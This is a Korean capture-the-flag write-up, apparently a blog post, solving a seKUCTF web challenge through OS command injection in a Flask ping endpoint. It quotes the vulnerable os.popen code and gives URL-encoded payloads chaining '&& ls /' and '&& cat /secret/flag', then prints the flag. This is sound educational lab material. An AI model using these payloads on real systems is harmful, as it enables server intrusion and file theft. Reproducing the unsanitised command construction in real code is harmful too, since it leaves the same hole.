먼저 source에 들어가서 소스코드를 확인하라고 나와있다.

확인하기 위해서 /source 에 들어가서 확인을 해준다.

밑으로 내려서 확인을 해보니
/execute 라고 수상한 주소가 보인다.
@app.route('/execute')
def execute():
directory = str(request.cookies.get('uniqueKey'))
if checkHack(directory):
return 'no hack ^__________^'
createDirectory("/app/mypinguser/"+directory)
ip_ = str(request.args.get('ip', ""))
if not checkLenHack(ip_):
return os.popen("cd /app/mypinguser/"+directory+" && ping -c 2"+ip_).read()
else:
return 'no hack ^__________^'
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
지금보니 execute의 인자값으로 ip를 받는것을 확인할 수 있고 ip 이전에 ping이라는 명령어를 실행하는걸 확인할 수 있다
여기서 자세히 확인해야 할점은 ip 인자값 앞에 뛰어쓰기를 안하면 +ip 가 되기 때문에 뛰어서 + ip가 되도록 써야한다.
그렇게 인자값을 넣어보면,

다음과 같이 ping 명령어가 실행된것을 볼 수 있다.
그럼 여기서 따로 뒤에 더 붙여서 다른 명령어를 실행하려고 해본다면?
최상위 디렉토리를 확인하기 위해 다음과 같이
ip=%20121.156.161.190%20%26%26%20ls%20/ ( ip= 121.156.190 && ls /) 를 넣어보았다.

다음과 같이 최상위 디렉토리 목록이 나온다 저 secret 폴더가 수상해 보여서 secret 폴더를 열어보려고 해보았다.
ip=%20121.156.161.190%20%26%26%20ls%20/secret 을 넣어서 뭐가 있는지 확인했다.

저기 flag 파일이 보인다. 열어보기 위해 cat 명령어를 사용해준다.
ip=%20121.156.161.190%20%26%26%20cat%20/secret/flag

다음과 같이 플래그를 확인 할 수 있다.
플래그 :
seKUCTF{@@D0nt_w0RRy_Th12_i2_e@sY_1_@@}
'seKUCTF' 카테고리의 다른 글
[seKUCTF] forcelogin1 (0) | 2023.04.09 |
---|---|
[seKUCTF] forcelogin 2 (1) | 2023.04.09 |
linux 와일드카드란? (0) | 2023.03.21 |
OS Injection 이란? (0) | 2023.03.21 |
[seKUCTF] NewAPI (0) | 2023.03.15 |